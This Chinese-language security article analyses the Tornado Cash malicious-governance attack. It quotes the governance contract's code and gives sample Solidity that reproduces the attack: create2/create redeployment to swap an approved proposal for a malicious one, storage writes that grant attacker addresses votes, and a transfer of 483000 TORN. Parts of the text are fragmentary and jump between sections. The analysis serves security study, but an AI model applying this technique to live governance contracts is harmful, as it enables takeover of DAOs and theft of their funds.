其他
【区块链智能合约安全系列】Tornado Cash 遭受恶意治理攻击完整始末
如果用户希望参与治理,需要先锁定 TORN 代币作为票数。用户可通过治理合约提供的接口来锁定 TORN 代币。锁定代币后,代币会转账到治理合约所使用的钱包合约 userVault(后面简称:钱包合约)中,转账完成后,治理合约为用户发放票数。从智能合约代码中可以看到,锁定的代币数量和增加的投票数量是 1:1 的关系。用户的投票数量保存在治理合约的 lockedBalance结构中。后续关于投票数量的增删改查,都会操作这个结构,就不再赘述。
function _transferTokens(address owner, uint256 amount) internal virtual override {
require(torn.transferFrom(owner, address(userVault), amount), "TORN: transferFrom failed");
lockedBalance[owner] = lockedBalance[owner].add(amount);
}
用户可以同时对多个提案进行投票,如果投票了多个提案,锁定时间该如何计算?根据 43 行代码所示,用户的锁定时间将会取所有提案中最晚的一个。
function _castVote(
address voter,
uint256 proposalId,
bool support
) internal override(Delegation) {
require(state(proposalId) == ProposalState.Active, "Governance::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
bool beforeVotingState = proposal.forVotes <= proposal.againstVotes;
uint256 votes = lockedBalance[voter];
require(votes > 0, "Governance: balance is 0");
if (receipt.hasVoted) {
if (receipt.support) {
proposal.forVotes = proposal.forVotes.sub(receipt.votes);
} else {
proposal.againstVotes = proposal.againstVotes.sub(receipt.votes);
}
}
if (support) {
proposal.forVotes = proposal.forVotes.add(votes);
} else {
proposal.againstVotes = proposal.againstVotes.add(votes);
}
if (!proposal.extended && proposal.endTime.sub(getBlockTimestamp()) < CLOSING_PERIOD) {
bool afterVotingState = proposal.forVotes <= proposal.againstVotes;
if (beforeVotingState != afterVotingState) {
proposal.extended = true;
proposal.endTime = proposal.endTime.add(VOTE_EXTEND_TIME);
}
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
_lockTokens(voter, proposal.endTime.add(VOTE_EXTEND_TIME).add(EXECUTION_EXPIRATION).add(EXECUTION_DELAY));
emit Voted(proposalId, voter, support, votes);
}
function _lockTokens(address owner, uint256 timestamp) internal {
if (timestamp > canWithdrawAfter[owner]) {
canWithdrawAfter[owner] = timestamp;
}
}
2.3 投票结果决定是否执行提案
function unlock(uint256 amount) public virtual override { require(getBlockTimestamp() > canWithdrawAfter[msg.sender], "Governance: tokens are locked"); lockedBalance[msg.sender] = lockedBalance[msg.sender].sub(amount, "Governance: insufficient balance"); userVault.withdrawTorn(msg.sender, amount); }
0x34605f1d6463a48b818157f7b26d040f8dd329273702a0618e9e74fe350e6e0d
selfdestruct(payable(0));
}
攻击者使用 create2 来部署 0x7dc8 合约,只要 sender,salt,bytecode 完全相同,那么就能够得到相同的合约地址,即,0x7dc86183274b28e9f1a100a0152dac975361353d。之后,0x7dc8 合约使用 create 来部署提案合约,create 计算新合约的地址仅跟 sender 和 nonce 有关。显然,step1 和step3中 sender 都是 0x7dc8 合约,nonce 都是 0,所以提案合约的地址也会相同,跟提案合约的字节码无关。借助这个方式,攻击者能够把提案合约升级成恶意版本。
contract CreateDeployer {
address public deployer;
function createDeployer(bytes32 salt, uint arg) public {
deployer = address(new Deployer{salt: salt}(arg));
}
function emergencyStop() public {
Deployer(deployer).emergencyStop();
}
}
contract Deployer {
constructor(uint endBlock){
if(block.number <= endBlock){
proposal = address(new Proposal());
}else if(block.number > endBlock){
proposal = address(new Proposal2());
}
}
function emergencyStop() public {
Proposal(proposal).emergencyStop();
selfdestruct(payable(0));
}
}
contract Proposal {
function executeProposal() external {
address[4] memory VIOLATING_RELAYERS = [
0xcBD78860218160F4b463612f30806807Fe6E804C, // thornadope.eth
0x94596B6A626392F5D972D6CC4D929a42c2f0008c, // 0xgm777.eth
0x065f2A0eF62878e8951af3c387E4ddC944f1B8F4, // 0xtorn365.eth
0x18F516dD6D5F46b2875Fd822B994081274be2a8b // abc321.eth
];
}
function emergencyStop() public onlyOwner {
selfdestruct(payable(0));
}
}
contract Proposal2 {
uint256[59] private _pad;
mapping(address => uint256) private _balances;
function executeProposal() external {
_balances[0x1C406ABB1c6a3Bb12447f933b5D4293701b6e9f2] = 10000;
_balances[0xb4d47EE99E132e441Ae3467EB7D70F06d61b10C9] = 10000;
_balances[0x57400EB021F940B258F925c57cD39F240B7366F2] = 10000;
_balances[0xbD23c3ed3DB8a2D07C52F7C6700fDf0888f4f730] = 10000;
}
function emergencyStop() public onlyOwner {
selfdestruct(payable(0));
}
}
所以,提案合约的代码既可以采用攻击者的方式,从 msg.data 动态传入,又可以采用上述示例代码的方式静态部署过去。需要注意的是,如果采取静态部署的方式,要提前获知 100 个僵尸账户的地址。做到这一点很容易,创建 100 个僵尸地址时用 create2 的方式,即可预测地址;或者,把创建僵尸账户的动作提前完成,提前创建僵尸账户不会影响攻击效果。所以达成一个攻击目标有多种方法。
function execute(uint256 proposalId) external payable virtual { require(state(proposalId) == ProposalState.AwaitingExecution, "Governance::execute: invalid proposal state"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; address target = proposal.target; require(Address.isContract(target), "Governance::execute: not a contract"); (bool success, bytes memory data) = target.delegatecall(abi.encodeWithSignature("executeProposal()")); if (!success) { if (data.length > 0) { revert(string(data)); } else { revert("Proposal execution failed"); } } emit ProposalExecuted(proposalId); }
function executeProposal() external {
IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C).transfer(
0x2F50508a8a3D323B91336FA3eA6ae50E55f32185,
483000 ether
);
_balances[0x1C406ABB1c6a3Bb12447f933b5D4293701b6e9f2] = 0;
_balances[0xb4d47EE99E132e441Ae3467EB7D70F06d61b10C9] = 0;
_balances[0x57400EB021F940B258F925c57cD39F240B7366F2] = 0;
...
}